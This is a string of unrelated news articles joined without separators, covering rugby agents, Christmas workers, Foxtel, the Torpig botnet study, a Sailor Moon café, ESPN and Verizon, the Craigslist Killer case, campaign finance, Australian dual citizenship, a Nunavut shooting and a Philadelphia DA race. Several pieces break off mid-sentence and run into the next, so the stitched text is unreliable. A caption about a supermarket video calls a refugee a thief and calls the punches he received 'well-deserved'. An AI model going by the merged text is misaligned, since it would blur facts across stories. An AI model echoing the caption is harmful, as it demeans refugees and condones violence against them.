Clubs protest at the laziness of agents in securing sponsorships, or endorsements for their players, yet they have only themselves to blame, while also breaking the rules. Third-party agreements (TPAs) must be at arm's length from a club, yet it is widely know most are secured by the club, which then informs the agent. The agent collects 20 per cent of TPAs, as well as the 6 per cent of the player's contract with the club. Agents also gain commissions from tipping a client into an investment. The Herald exposed the case of still prominent agent, George Mimis, who, in 2005, was offered a $150,000 discount on a $770,000 home unit in Sydney, provided 10 of his clients, mainly St George players, each purchased a unit. The players were unaware of the incentive and Mimis subsequently withdrew from the purchase. Free agency, the absence of a draft and a transfer window, unenforced rules around TPAs and secrecy over contracts all enhance the power of agents. There is a myth AFL player managers only charge half the commission of their NRL equivalent because their fees are regulated by the AFLPA.
In the AFL, the market sets the rate, with some charging as high as 6 per cent, although some big AFL agencies do not charge players drafted in their first couple of seasons. However, AFL management contracts are not as exclusive, or regulated as the NRL. An NRL player cannot exit his contract with his manager until it has expired, while an AFL player can move on and pay out the commission owed on the remainder of the term. Loading When a club calls a player to an unexpected disciplinary meeting, it counts down the seconds until the player's manager calls the club demanding details. Yet when supplied with the information and invited to the meeting, he declines. As one club official said: "They can tell you what position he should play, how many more tries he should be scoring and how much money we should be paying him but when the shit hits the fan, they've got puny excuses for not being available."Meet the people working this Christmas Day
Updated
Santa isn't the only one busy on Christmas Day. While many of us tuck into a festive feast and spend time with the family on December 25, there is an army of workers for whom the day is business as usual.
The chef
If cooking the Christmas turkey fills you with dread, then spare a thought for Stephen Lech.
The Sydney chef will be serving up 1,000 hot meals on Christmas Day, including everything from pineapple and rum-glazed ham to Balmain bugs and oysters.
He said the spread was perfectly suited to families and included a chocolate fountain and more than one fruit mince pie.
But you won't hear him complain about having to work on one of his busiest days of the year.
"Celebrating Christmas usually comes before or after Christmas," he said.
"But we know that on the day it's part of the hard work, part of our passion, part of being a chef and working in this industry.
"We share a meal after service, so we all sit down and have probably a glass of champagne."
The tram driver
Sorry, this video has expired Video: Tram drivers will ferry families all over Melbourne for their Christmas lunches this year (ABC News)
For "chatty" tram driver Kate Priest, Christmas Day is actually one of the most fun days to work.
The Melbournian said it was all about a subtle shift in mood from the passengers as they swapped the office for the family gathering.
"It's good; it's a relaxed atmosphere," she said.
"You don't have people rushing because they've got to go to work. They're actually going somewhere that they want to go.
"You don't have anyone going, 'Oh you're late!' or, 'Oh I want to get there and there's traffic'."
Kate said the free tram travel on Christmas Day also made it the best time to hop on for the first time and take the kids for a spin on the rails.
The firefighter
Kylie Evans has been a firefighter for 10 years, so she knows that sometimes the job has to come before a lot of other things, including Christmas lunch.
"When we apply to join the fire brigade we know it's a shift-work job," she said.
"And part of our job is just knowing sometimes we're not available for special occasions — so Christmas, Easter, birthdays, anniversaries, kids' graduations.
"We just know that's a part of what we have to sacrifice for the work we're committing to for the greater good."
And while the crew can be called to action at any time, they still try to treat themselves just a little bit on December 25 with a special meal and a little tree at the station too.
"We'll just make sure that we share some spirit in some way because we're missing out in other ways," she said.
The zookeeper
Sorry, this video has expired Video: Every creature great and small gets a Christmas treat at Taronga Zoo this year (ABC News)
Many people might feel like they're at a zoo when the family comes around on Christmas Day, but for Ali Smith that's right where she wants to be.
The Taronga Zoo zookeeper is in charge of making sure the lemurs get their Christmas treats and said it was all about spreading the cheer around.
"Believe it or not, all of our animals get Christmas treats," she said.
"The spirit of Christmas is very alive at Taronga every single year."
The lemurs are given pinecones stuffed with treats, or wreaths that encourage their foraging habits. But they're not alone — all creatures great and small will receive some holiday pampering.
"All of our animals, all the way down from guinea pigs right up to our elephants and our giraffes will get some form of enrichment Christmas treat."
The ABC cameraman
Sorry, this video has expired Video: A day in the life of an ABC camera operator on Christmas Day (ABC News)
If you're after some feel-good stories this holiday season, then December 25 is where you'll find them, says camera operator Greg Waldemarsson.
The experienced ABC man hits the road early and finds you don't have to look hard to find the Christmas cheer.
"Gosh I tell you, Christmas is a fantastic time to be working," he said.
He joins up with a reporter and said the first stop is usually church, followed by a jaunt down to Bondi Beach to see the tourists enjoying some Aussie sun.
"Then after that we usually head out to a lot of charities," he said.
"They make you feel so much better about yourself knowing that people are being looked after."
Topics: christmas, lifestyle-and-leisure, work, australia
First postedFoxtel is set to come under intense scrutiny when it reports fourth-quarter results next month amid evidence that a considerable number of its customers has abandoned its drama and movie packs – some of them in favour of new, cheaper streaming services led by Netflix.
The cable and satellite TV monopoly, which is owned by News Corp and Telstra, has experienced significant "spin-down" – customers cherry-picking channels and cutting their bills – since it changed its pricing model in November. Sources are divided on whether the negative reaction has been comfortably within the anticipated range.
Would a cut to licence fees save commercial networks? Credit:Viki Lascaris
Despite this, Foxtel is expected to have grown its subscriber base rapidly in the period to June 30, helped by chief executive Richard Freudenstein's decision to slash the price of its basic service from $49 to $25 and give households more chances to select which channels they want to receive.
The company, which makes about $1 billion in underlying profit – more than the three metropolitan commercial free-to-air network owners combined – is also expected to report record low churn (the percentage of customers defecting).Researchers at the University of California Santa Barbara have published a paper (PDF) detailing their findings after hijacking a botnet for ten days earlier this year. Among other things, the researchers were able to collect 70GB of data that the bots stole from users, including 56,000 passwords gathered within a single hour. The information not only gave them a look at the inner workings of the botnet, they also got to see how secure users really are when it comes to online activities. (Hint: they aren't.)
The botnet in question is controlled by Torpig (also known as Sinowal), a malware program that aims to gather personal and financial information from Windows users. The researchers gained control of the Torpig botnet by exploiting a weakness in the way the bots try to locate their commands and control servers—the bots would generate a list of domains that they planned to contact next, but not all of those domains were registered yet. The researchers then registered the domains that the bots would resolve, and then set up servers where the bots could connect to find their commands. This method lasted for a full ten days before the botnet's controllers updated the system and cut the observation short.
During that time, however, UCSB's researchers were able to gather massive amounts of information on how the botnet functions as well as what kind of information it's gathering. Almost 300,000 unique login credentials were gathered over the time the researchers controlled the botnet, including 56,000 passwords gathered in a single hour using "simple replacement rules" and a password cracker. They found that 28 percent of victims reused their credentials for accessing 368,501 websites, making it an easy task for scammers to gather further personal information. The researchers noted that they were able to read through hundreds of e-mail, forum, and chat messages gathered by Torpig that "often contain detailed (and private) descriptions of the lives of their authors."
(Comically, the report notes that 0.1 percent of Torpig victims love "exchanging insults" online, with another four percent spending their time looking for sex online. The rest are doing relatively mundane things like worrying about grades, looking for advice from doctors and lawyers, looking for jobs, and playing video games.)
Of course, the primary goal of Torpig is to steal financial information like credit card numbers and bank logins. In just ten days, Torpig apparently obtained credentials of 8,310 accounts at 410 financial institutions, including PayPal, Capital One, E*Trade, and Chase. The researchers noted, too, that nearly 40 percent of the credentials stolen by Torpig were from browser password managers, and not actual login sessions, and that the Torpig controllers may have exploited these credentials for between $83,000 and $8.3 million during that time period.
Interestingly, a large number of the financial institutions that had been breached required "monumental effort" in order to notify the victims, according to the report. In fact, financial institutions weren't the only ones—interacting with registrars, hosting facilities, and law enforcement were all "rather complicated," indicating that there's a long way to go in order to make notifying botnet victims easier.
Not becoming a victim in the first place is the most ideal situation, however. The researchers concluded that victims of botnets are usually those with poorly maintained machines and who choose "easily guessable" passwords. " This is evidence that the malware problem is fundamentally a cultural problem," reads the report. "Even though people are educated and understand well concepts such as the physical security and the necessary maintenance of a car, they do not understand the consequences of irresponsible behavior when using a computer."A couple weeks ago a friend on Facebook tipped me off about a Sailor Moon Crystal Café in Kabuki-cho, Shinjuku. I immediately made reservations the same day because I am a healthy adult with responsible hobbies.
To back track a bit, it is crazy the amount resurgence Sailor Moon Crystal has caused. Nobody seems to care that they use recycled art to promote new merchandise, as seen in this display for a cosmetics shop in Shibuya:
I think people are just glad to have an excuse to celebrate the show again. It definitely made an impact on me growing up, and despite many lamentations at the new incarnation of the series, I was still eager to try out the Sailor Moon-themed café that my middle school self would have died to get into.
(Apologies in advanced for crappy cellphone pics! There was hardly any table space – let alone elbow space – to whip out my Nikon.)
For those who don’t know, Kabuki-cho is kind of a seedy area with all sorts of sketchy-looking store fronts depicting women in various states of dress, with the occasional gaudy sign for the infamous Robot Restaurant mixed in.
So upon seeing the above entrance for the café, I immediately expected somewhat of a derpy experience. It was tiny, next to a karaoke bar, and didn’t look very inviting. The reservations were also free and no hassle to get – unlike the Pokémon and Eorzea Cafés Roy and I went to a couple months ago. (Eorzea write-up still incoming. Whoops.)
After entering the café, we were sat down at tiny tables of two clustered right next to each other. We ordered one drink and one dessert each.
After a lot of pondering over the menu, I decided to get the Usagi waffle plate while Roy went with the Sailor Jupiter and Sailor Venus one. I unfortunately couldn’t finish |
was mourning the loss of his Siamese cat. "She's really old, she's really sweet," he told the TV station. "She sleeps on me, you know?"The ESPN logo at The Party on Feb. 5, 2016, in San Francisco. (Photo11: Mike Windle, Getty Images for ESPN)
ESPN and Verizon Communications said Tuesday that they have reached a settlement in their lawsuit over Verizon’s “skinny bundle” TV initiative, clearing a path for pay-TV providers to experiment with new ways of selling TV channels.
The companies didn’t disclose the terms of the settlement. Verizon, which markets its pay-TV service under the FiOS brand, said it hasn’t changed its bundles and will continue to sell them.
"ESPN is an important partner of ours," said Terry Denson, Verizon's vice president of content strategy and acquisition. "We look forward to further collaborating with them to deliver customers content across all of our platforms."
About a year ago, Verizon started selling new plans that allowed customers to select a base package of channels -- including local broadcast stations, HGTV, CNN, Food Network and other popular cable networks – and options to add more channels based on genres for additional fees. ESPN was conspicuously excluded from the base channel package. While Verizon's program was hardly the "a la carte" channel packaging model advocated by some consumers, the company said it was simply responding to customers who want more flexibility in subscribing only to the channels they watch.
Cable networks predictably cried foul. ESPN, which is owned by Walt Disney, sued Verizon in New York, claiming the program violated its contractual terms. Industry analysts saw it as a move by Verizon to test the market strength of -- and customer demand for -- some of the channels, particularly ESPN, that extract high per-subscriber fees from pay-TV providers. ESPN is the most expensive channel for cable and satellite companies, collecting nearly $7 per subscriber.
Verizon's program was revised in February, and now comes with a choice of two plans, each costing $65 per month. The “Essentials” package has the most popular channels, including CNN, HGTV, AMC and Food Network, but no sports networks. The “Sports & More” package contains sports channels, including regional sports networks, but is missing a few non-sports channels, such as E!, BET, Bravo, Fox News, History, Lifetime and National Geographic. Customers can add additional channel packs for $6 each.
The settlement was announced just a few hours before Disney released its quarterly earnings. Concerns over ESPN's programming costs and a declining subscriber base contributed to Disney's sinking stock price for much of last year. And its legal fight with Verizon underscored lingering questions about the sports network's influence amid the changing landscape in pay-TV distribution and streaming technology.
But in February. Disney's CEO, Bob Iger, said ESPN was seeing an uptick in viewership, assuaging investors and telegraphing his intention to continue to work with pay-TV distributors for new ways of packaging Disney's channels, including lighter bundles.
Disney's shares have risen 17% in the last three months. The stock ended Tuesday 1.3% higher to $106.65.
"We have a long-standing relationship with Verizon," said Sean Breen, a senior vice president of Disney and ESPN Media Networks. "We look forward to working with them to provide great content to consumers for years to come."
Read or Share this story: http://usat.ly/1T9i9qqThe Boston Phoenix has a pretty fascinating and detailed story about the digital detective work involved in tracking down Phil Markoff, a.k.a. the Craigslist Killer. After looking for evidence in the Marriott hotel room where the first erotic masseuse victim was found and going through the victim's cell phone to contact friends and relatives, the Boston Police Department turned to the somewhat controversial technique, recently brought into the spotlight by the ACLU, of location-tracking cell phones for help with the investigation.
After a second attack at a Westin Hotel, some FBI agents who happened to be passing through helped the Boston police to "pull cell-tower records for the time period 15 minutes before and after each incident, for those near the scene of each crime." They tried to pinpoint a phone that was used in both areas around the times of the attack, but they wound up with hundreds of phone numbers. So, it was basically a dead end.
What wound up being much more useful was the email address that Markoff used to contact his first victim. It was a throw-away hotmail account, but Microsoft was able to give the police the IP address of the person who opened it (after getting a subpoena), while Comcast was able to supply the name and physical address of the person associated with the IP (also after receiving a subpoena).
That's when the police turned to Facebook. They sent a subpoena to the social networking giant and got a 60+ page dossier on Markoff, including all of his wall posts, the photos he'd been tagged in, a list of his friends, and a history of his log-ins (with associated IP information). It doesn't seem to have actually been that helpful in the investigation, but it makes for an interesting perusal. (The police also asked Facebook for its records on Markoff's oblivious but seemingly innocent fiance.)
In posting the Facebook file, the Phoenix headlined it, "When the cops subpoena your Facebook information, here's what Facebook sends the cops." That's incorrect given what Facebook says are its practices these days. This investigation was conducted back in 2008. The police department wouldn't be able to get that much information today with just a subpoena (an official request from a law enforcement or government agency that hasn't been reviewed by a judge). When I interviewed Facebook's director of security, Joe Sullivan, earlier this year, he told me the company provides only “basic subscriber information” in response to a subpoena, meaning a user’s name, e-mail address and IP address. Sullivan said that, to get a peek at a user's photos, status updates, private messages, friend lists, or pokes, law enforcement has to get a search warrant, making things a little harder for investigators but protecting users from fishing expeditions that haven't gotten a judicial stamp of approval.
None of this meticulously-collected evidence wound up being used to try Markoff, though, because he committed suicide after being charged.
Hunting the Craigslist Killer [The Phoenix]What do chocolate chip cookie dough ice cream and campaign finance reform have in common?
Ben Cohen, the cofounder of the beloved Ben & Jerry's ice cream company.
In 2012, Cohen established Stamp Stampede, a non-profit grassroots organization with one primary goal: stamp money out of politics (in a very literal sense).
The movement urges people to stamp their money with messages promoting a constitutional amendment to get special interest money out of politics -- and it's totally legal.
Stamp Stampede sells stamps with various pro-campaign finance reform messages, like "corporations are not people," "not to be used for buying elections" and "not to be used for bribing politicians."
Last week, Cohen took the time to discuss this movement with Elite Daily, highlighting its origins, motivations and ultimate hopes.
Cohen explained he was initially inspired to get more involved in campaign finance reform after the Occupy Wall Street movement in 2011.
In his view, the underlying catalyst for the entire movement, and its arguably discombobulated grievances, was discontentment with money in politics.
After the Occupy movement dissipated, he wanted to find a focused way to perpetuate its message and aims.
Stamp Stampede was the perfect solution, or as he put it:
Money, the way money changes hands, is kind of the original viral marketing. Your voice could be incredibly powerful if you use money as your medium. Every time you stamp a dollar bill, 875 people see it as it gets passed around. If you stamp three bills a day for a year, you create just about a million impressions over the next 2.5 years.
For quite some time, Cohen has felt big money in politics is eroding American democracy. He argues the Supreme Court's 2010 decision in Citizens United vs. FEC, among other rulings, promotes corruption by characterizing money as free speech and corporations as people.
Cohen isn't wrong.
The controversial Citizens United ruling paved the way for Super PACs and dark money, as Vox notes, and outside spending on federal elections increased exponentially following it.
As a consequence of Citizens United, Super PACs can procure and spend unlimited amounts of money on candidates they wish to endorse. None of this money may be given directly to candidates or political parties, but this tenuous limitation does nothing to inhibit corruption.
Money is the name of the American political game, and it dictates the direction of this country. The wealthy have an inordinate amount of influence. It's no coincidence a majority of members of Congress are millionaires (50.8 percent).
We've created a system in which the ultra-rich have a much easier time making their voices heard, particularly in terms of the political candidates they support. In turn, their interests are promoted by the politicians they help elect.
Given there is an ever-increasing gap between the rich and poor in the US, it goes without saying a small minority has essentially purchased America's political system.
Cohen stated,
It's what John McCain called legalized bribery.
This is precisely why Cohen founded Stamp Stampede. He's fed up with the status quo, and the only way to reverse Citizens United and other decisions like it is through a constitutional amendment.
As Cohen contends, this won't be possible without the palpable support of people across the country.
While he's of the opinion many are already aware of big money's disproportionate influence in politics, he believes there needs to be a concerted and observable movement against it, which is where Stamp Stampede comes in:
In a big way, Stampede is a visual demonstration. Even when a lot of people are aware of stuff, you need to have physical demonstrations of support to actually change something. By making the message so prevalent, it starts to give the people the idea that 'Oh, maybe there is really something that can be done about this.' I think something like 90 percent of the population, Republicans and Democrats, want to get money out of politics. But 80-or-something percent thinks there's nothing they can do about it.
Cohen is taking the biggest problem in politics, money, and turning it into a solution. As he highlights, Stamp Stampede is hardly the first movement to employ this tactic:
In terms of turning money into media, we call it'monetary jujitsu': using money to get money out of politics. It's been done before with the suffragette campaign in England. At the time, they were using wooden coins and would carve messages into the coins about getting women to vote.
The big question is whether or not any of this is working, or if it's even realistic. In response to this line of inquiry, Cohen noted there is evident bipartisan support for campaign finance reform, with traditional rivals like President Obama and Senator John McCain agreeing Citizens United was a step backward for America.
Concurrently, Cohen highlighted,
Since Citizens United, there has been a major movement that has sprung up across the country to amend the Constitution to get money out of politics: 16 states have passed resolutions calling for an amendment, 650 municipalities have done the same thing, there's hundreds of organizations working on it and over five million people have signed petitions. The Stampede is just one small part of that.
With so many people behind it, Cohen believes we could see a constitutional amendment on campaign finance within the next 10 years.
To wrap things up, Elite Daily asked Cohen why young people, who currently face numerous obstacles (unemployment, student loan debt, etc.) and are generally considered to be politically apathetic, should care about campaign finance reform.
Cohen argued it's a no-brainer, and Millennials, especially, should focus on this issue, stating:
The root causes of most of the problems Millennials and everyone else are concerned about: ridiculously high student debt, failure to pass decent environmental regulations, failure to have decent energy policy, the Wall Street banks screwing everybody… they're all rooted in rich people and corporations buying off Congress. The people with the money and big corporations want policies that support their aims and don't care about screwing everyone else. And they get what they pay for. Personally, I think the only hope for our democracy is to get money out of politics, and I would suggest that young people work on that.
Cohen, and others like him, want to restore trust in a system many feel is broken. In his opinion, the first step toward fixing it and reestablishing faith in the political process is ensuring we eliminate money's excessive role and influence.
He explained,
I think this is the gateway issue for all that's wrong with our country. If we don't do anything about it, we may as well turn over our keys to democracy to the corporations and just admit we're going to be pawns.
Campaign finance reform has already proven to be a major issue in the early stages of the 2016 presidential race. Hillary Clinton, for example, has stated she'd support a constitutional amendment.
It's also no secret Senator Bernie Sanders has placed this matter at the forefront of his agenda. For that reason, among others, Cohen said,
As an individual, I personally support Bernie Sanders. I'm proud that he's from our state [Vermont]. In terms of the issues that you're saying Millennials care about, he's the man, and he's not doing it because of what he's read in the polls. He's the real thing.
But Cohen remained adamant that Stamp Stampede is nonpartisan, and the organization supports any candidate pushing for substantive campaign finance reform.
Cohen ended the conversation in a fashion as exuberant as the various names of his world-famous ice cream:
Go to Stamp Stampede, get yourself a stamp and stamp your head off, your balls off or your butt off. Stamp off anything you want, but keep on stamping.
Perhaps changing things really could be as simple as stamping money, at least as a first step. It's certainly worth a shot.
If you want to learn more about Ben Cohen and Stamp Stampede, visit http://www.stampstampede.org/.
Citations: 40 charts that explain money in politics (Vox), Stamp Stampede (Stamp Stampede), Citizens United had two main consequences Super PACs and more dark money (Vox), Citizens United v FEC (SCOTUS), The Fight Against Super PACs and Cashola Fueled Corruption (Huffington Post), Inequality Between Americas Rich and Poor Is at a 30 Year High (The Atlantic), Clinton calls for constitutional amendment on campaign finance (The Hill), Bernie Sanders Launches His Vermonster Campaign (The Atlantic), One Member of Congress Equals 18 American Households Lawmakers Personal Finances Far From Average (Center for Responsive Politics)Dual citizenship: It looks like we could've avoided this mess 120 years ago
Updated
Well, we now know the fate of the seven politicians caught up in the citizen saga.
Barnaby Joyce (Nationals), Malcolm Roberts (One Nation), Larissa Waters (Greens), Fiona Nash (Nationals), and Scott Ludlam (Greens) have been disqualified.
Nick Xenophon (NXT) and Matthew Canavan (Nationals) are safe.
But it could all have been so different.
Thanks to what has until recently been seen as an obscure phrase in the constitution, we've now lost four senators and a Deputy Prime Minister.
Mr Joyce will now face a by-election in early December, and the Government has lost its one-seat majority until then,
But it didn't need to be this way.
Had history played out differently, the constitution would have looked very different and the current saga might not have happened.
An earlier wording of Section 44 probably would have left Joyce in the clear — and Waters, and Ludlam, and Roberts
The current wording of Section 44 disqualifies anyone who:
… is under any acknowledgment of allegiance, obedience, or adherence to a foreign power, or is a subject or a citizen or entitled to the rights or privileges of a subject or a citizen of a foreign power.
But this was the wording debated in 1897, a few years prior to federation:
… has done any act whereby he has become a subject or citizen or entitled to the rights or privileges of a subject or a citizen of a Foreign Power.
In other words, it could have been argued that the alternative wording only seemed to disqualify people who had made a positive step to acquire the citizenship of another country.
But the wording we ended up with is much wider, and appears to only look at whether someone is technically a dual citizen, irrespective of their personal actions.
The change probably came at a debate in Melbourne in 1898, but we don't know why it was made.
The result, the expert paper notes, "seems to confirm that [the updated wording] is intended to disqualify persons with dual citizenship regardless of whether they acquire their other citizenship voluntarily or involuntarily".
One of the people who helped put the constitution together wanted to throw a bone to dual nationals, but was shouted down
Sir John Hannah Gordon was a South Australian delegate to the Australasian Federal Convention that drafted the constitution.
He wanted to add the words "or who has not since been naturalised" to Section 44.
That would have allowed people to be elected if they had become British subjects.
But he was shut down by others who were there:
Patrick McMahon Glynn: "You cannot have two allegiances." Sir Edmund Barton: "No; a man might have to go out of our parliament to serve against us." Sir George Turner: "He may be minister of defence."
It was also suggested that parliament be given the power to change the disqualification tests
If this had been successful, Prime Minister Malcolm Turnbull could have just changed the rules surrounding dual citizenship, so long as he could get the votes he needed in the Senate.
But instead, the proposal was defeated 26 votes to 8 and didn't make it into the constitution, meaning any changes to Section 44 can only be made after a referendum.
That's a much bigger task. Any reform would need the support of the majority of voters as well as the majority of states — and of the 44 referendums held since 1901, only eight have been successful.
At the time the constitution was written, there were no Australian citizens
In fact, Australian citizenship wasn't created until 1949.
Previously, Australians were "British subjects", as were Britons, Canadians and New Zealanders, so Mr Joyce (New Zealand), Mr Roberts (UK) and former Greens senators Scott Ludlam (New Zealand) and Larissa Waters (Canada) would have been unaffected by Section 44. (Though Mr Canavan's Italian citizenship would have still been a problem.)
It's unclear exactly when British subjects became subjects of a "foreign power" when it comes to Section 44.
But the High Court has made clear that this is the case.
It might seem like this issue has come out of nowhere …
And to an extent, it has.
The High Court knew that this could be an issue, with a judgement in 1988 saying:
The interpretation of S.44(i) and its applicability to an Australian citizen, who is also a citizen or who may, conceivably against his own wishes, be 'entitled to the rights or privileges of … a citizen' of the United Kingdom or of countries other than Australia, are questions of great contemporary importance. As those questions were not fully argued, their resolution must be left for another day.
Nevertheless, prior to a landmark High Court case in 1992, Section 44 of the constitution had received "virtually no judicial attention and very little academic attention", according to a parliamentary research paper.
One writer even commented:
The disqualifications under ss.44 and 45 [of the Constitution] are of little practical importance, are riddled with difficulty and do not warrant extended discussion.
That's sure changed.
In 1992, the High Court ruled that two candidates in a by-election were ineligible on the basis of dual citizenship.
In 1999, Heather Hill was elected as the Queensland senator for One Nation, but was disqualified because she was also British.
But it's in the past month that this became a much bigger issue (/mess) for Australia.
Topics: federal-parliament, law-crime-and-justice, government-and-politics, australia
First postedGermany - ArnsdorfA refugee doesn't want to pay in a supermarket and doesn't want to give back 2 bottles (of wine?) to one of the supermarket employees. Instead he argues and argues and argues in his native language and holds tight to the 2 bottles.The supermarket employees tell the refugee thief multiple times to hand over the 2 bottles. He refuses.Someone tells the employees to call the police and the female one answers that the police was already at the store 2 times that day.Then a couple of germans of a local neighborhood watch group enter the store and take away the bottles from the refugee thief and try to throw the refugee out of the store until the refugee gets physical and catches some well-deserved punches.One of the germans or more yell: "Huh?! What do you want from me? Huh! What do you want from me?! Pigs! Get out of here! Pigs! Piss off."The woman at the end says: "It's sad that we need to rely on a neighborhood watch group".“The deliberate ‘hunting’ of our members is deeply disturbing”
By JIM BELL
About 10 Kimmirut residents risked their lives in the early morning of July 28 to subdue an intoxicated man who, soon after the arrival of a big alcohol shipment, fired multiple rounds at the community’s RCMP detachment.
“All of these people put their lives at risk to assist our police officers in a highly volatile situation. There just aren’t enough words to express our gratitude,” Supt. Hilton Smee of the Nunavut RCMP “V” division told reporters July 28.
Smee said the RCMP does not yet have permission to release the names of the Kimmirut residents who disarmed and arrested the man. An RCMP emergency response team flew to Kimmirut, then took the man back to Iqaluit, where he now sits in custody.
A large, legally-acquired alcohol shipment had arrived in the community just prior to the shooting, Smee said. Kimmirut residents voted this past Feb. 27 to end their community’s dry status and permit the possession of alcohol under the control of a local committee.
“Kimmirut’s elders, leaders, community members and the RCMP must continue their consultation to find solutions to this violence and abuse of alcohol,” Smee said.
As of July 28, police were still investigating the shooting and were not ready to release the accused’s name or announce any charges he may face.
But Smee said the incident, like others before it, reveals the high risks that Nunavut RCMP members must face.
“I want to stress that the deliberate ‘hunting’ of our members, shooting their residences and ultimately risking the safety of residents is deeply disturbing,” he said.
Two RCMP members took cover inside their detachment: Cst. Allan Jagoe, who has 36 years of service, and Cpl. Wendy Cornell, who has 15 years of service.
With them was “a young intoxicated woman” who banged on the door of one of their staff housing units around 2 a.m. July 28 to warn police their lives were in danger.
After police took her to the RCMP detachment to protect her, a man fired multiple rounds, striking the building, a police truck and Northwestel telephone equipment, Smee said.
Because of the damage to Northwestel’s property, parts of Kimmirut lost telephone service. A Northwestel crew is now working on repairs.
At the same time RCMP members flew to Kimmirut from Iqaluit to relieve Jagoe and Cornell and “ensure their well-being.”
This is the second such incident to afflict Kimmirut this year.
This past March, a man in Kimmirut fired multiple rounds at two RCMP staff houses. Four bullets entered one unit, while five bullets entered another, endangering the lives of two families, including a young child.
David Lyta, 22, of Kimmirut, faces two counts of recklessly discharging a firearm in connection with the March shooting. If convicted, he faces a mandatory minimum prison sentence of four years.
And both incidents evoke painful memories of the 2007 killing of 20-year-old Cst. Douglas Scott, for which Pingoatuk Kolola, 37, of Kimmirut was convicted of first degree murder in 2010.
“Although these are individual, one-off actions, it continues to place this community and its residents under siege,” Smee said.
Smee said the name of the accused shooter and the nature of the charges against him will be released after police finish an investigation.
No one was injured in the incident, Smee said.Enthusiastic Democrats Lead Anti-Establishment DA Candidate To Victory
Enlarge this image toggle caption Kimberly Paynter/WHYY Kimberly Paynter/WHYY
Talking on a stage spilling over with supporters in a courtyard even more jammed with fans, Larry Krasner told the cheering crowd he was not deterred by long odds.
"We were told it was political suicide to say, 'I will never seek the death penalty,'" Krasner said. "Does that look like political suicide right now?"
He rode the flood of applause that followed.
Krasner, a long-time civil rights attorney, handily won the Democratic primary on Tuesday in a seven-way race to become Philadelphia's next district attorney.
He did it with a kind of in-your-face progressive messaging that highlighted his outsider status and brought along the city's black voters. He also fired up Democrats against President Trump's national agenda.
His victory means an anti-establishment candidate who spent his career fighting against prosecutors will soon lead one of the busiest DA offices in the country.
The people who were disappointed in the presidential election are able to push back a little bit.
Krasner now faces Republican Beth Grossman in the November general election, but given how Philadelphia Democrats command a 7-1 registration advantage, it would require a significant upset for Grossman to overcome Krasner.
He garnered 38 percent of Democratic ballots cast, about 58,000 votes. Candidate Joe Khan was the second best vote-getter, though he trailed far behind, receiving nearly half Krasner's haul.
Compared to the last competitive race for DA in 2009, turnout among Democrats jumped nearly 50 percent, perhaps fueled by Krasner enthusiasm. Still, just about 19 percent of all registered Democrats in Philadelphia voted in the DA's race.
At his victory party in Center City, Krasner told reporters he will demand shorter prison terms for convicted criminals.
"Where there is unnecessary incarceration, it necessarily destroys schools, and it destroys rehabilitation of people who have the medical condition of addiction. And it destroys individuals, families and neighborhoods," Krasner said.
With that progressive messaging, Krasner beat out five former prosecutors and a former judge. He was the only candidate with no government experience. And he pitched his outsider status as the hallmark of his candidacy.
"The core of this problem is the culture of the District Attorney's Office. That's the core of it," Krasner said at a DA debate during the campaign.
In a typical race for DA, candidates advertise their tough-on-crime credentials and their proposals for improving public safety.
Krasner, however, took an unorthodox approach. He wants to end cash bail. He's against the death penalty. He wants fewer people stopped and frisked. And he bragged about all the cops he's sued over the years.
"I have filed 75 civil rights lawsuits in the last 25 years against police for corruption, and for physical abuse. I have pursued those cases vigorously, even though it's not the most lucrative thing, and doesn't make you especially popular," Krasner said during the campaign.
It's a message that spoke to C.R. Robinson of North Philadelphia, whose dad has been incarcerated for decades. He alleges there was prosecutorial misconduct in his case, and that's always colored his view of the criminal justice system. It also, in turn, boosted Robinson's support for Krasner.
"Well, he's a DA that's not looking to lock up and throw away the key," Robinson said. "He's looking to prevent people from going to prison, and to keep people out of prison. So, for me, he's the people's DA."
In a majority-minority city like Philadelphia, winning the black vote is key to almost any citywide election. The only African-American candidate in the race, Tariq El-Shabazz, landed in a distant fourth place.
Activist Megan Malachi said disappointment in Philadelphia"s first-ever black DA, Seth Williams, who is now awaiting trial in a federal corruption case, paved the way for African-American voters to look beyond race when choosing a prosecutor.
"There's been a real paradigm shift, where people are realizing that black faces in high places, as we like to call it, doesn't necessarily mean that there will be justice," Malachi said. "There's a huge black Democratic machine in the city, which, honestly would not allow a black person be as progressive as Larry."
Another current in the race was, undeniably, the Trump factor. That's what brought Michael O'Neill of South Philly to the polls. He usually doesn't pay much attention to local races, but the outcome of the presidential election delivered a jolt.
Part of Krasner's platform was to resist the Trump agenda, including fighting to keep Philadelphia a so-called sanctuary city. In addition, Krasner said he will stand firm against attempts to reboot the War on Drugs in the city.
Those positions attracted a wider audience with the help of a $1.4 million infusion into a political action committee backing Krasner paid for by billionaire George Soros. However Krasner's message reached O'Neill, and the pitch appealed to him.
"The people who were disappointed in the presidential election are able to push back a little bit in a certain way and push back in a way that sends a message to the state and to the federal level that if we can make things happen on the local level, maybe next time around we can make things happen on a bigger scale," O'Neill said.
This DA's Race "sort of switched the dynamic somewhat from who can be the toughest on law and order to who can be the sanest in terms of the criminal justice system," said Joseph Schwartz, a Temple University political science professor.
With all the talk of left-leaning reform, the race at times appeared more like a contest to be public defender rather than a DA election. Schwartz said Krasner's victory could change how DA races are run in other cities dominated by Democrats.
"I think many DAs may begin to realize that running hard on law and order is no longer the traditional way to be a viable candidate," he said. "I think this may have a profound influence on restraining aggressive district attorneys."
The candidate who said he would be the less aggressive DA won the most votes. While it's a historic shift in the politics of Philadelphia's criminal justice system, there may be a shaky transition ahead. For the past 30 years, Krasner has opposed the office he will lead.
"Who represented the RNC protesters in 2000 when it mattered? Who represented Occupy when it mattered? Who represented clergy fighting against gun violence? Who represents Black Lives Matter now?" Kranser asked voters during the campaign. "I have represented reformers."
Yet now, he will have to represent crime victims, which some insiders say may prove at times to be an uncomfortable and daunting mission.
What's more, to deliver on his progressive platform, Krasner needs the buy-in of hundreds of rank-and-file prosecutors, and he'll have to manage a sizeable bureaucracy. And he'll have to work with police officers, whom he spent his career suing.
Some see it as a curious conundrum, while others view it as an intractably adversarial dynamic. Either way, the kind of tension Krasner brings to the office could be the first burst of more to come.
Other left-of-center insurgent candidates may now be setting their sights on reforming city-level agencies, especially in the Trump era, according to University of Pennsylvania political science professor Dan Hopkins.
"A politician like Larry Krasner is swimming downstream in the sense that he's speaking to what a lot of Democratic activists are feeling," Hopkins said. "His message and his ability to speak to national issues play very, very well in this environment."Story highlights Sen. Sanders still lags behind Hillary Clinton by 294 pledged delegates, even after a big win in West Virginia
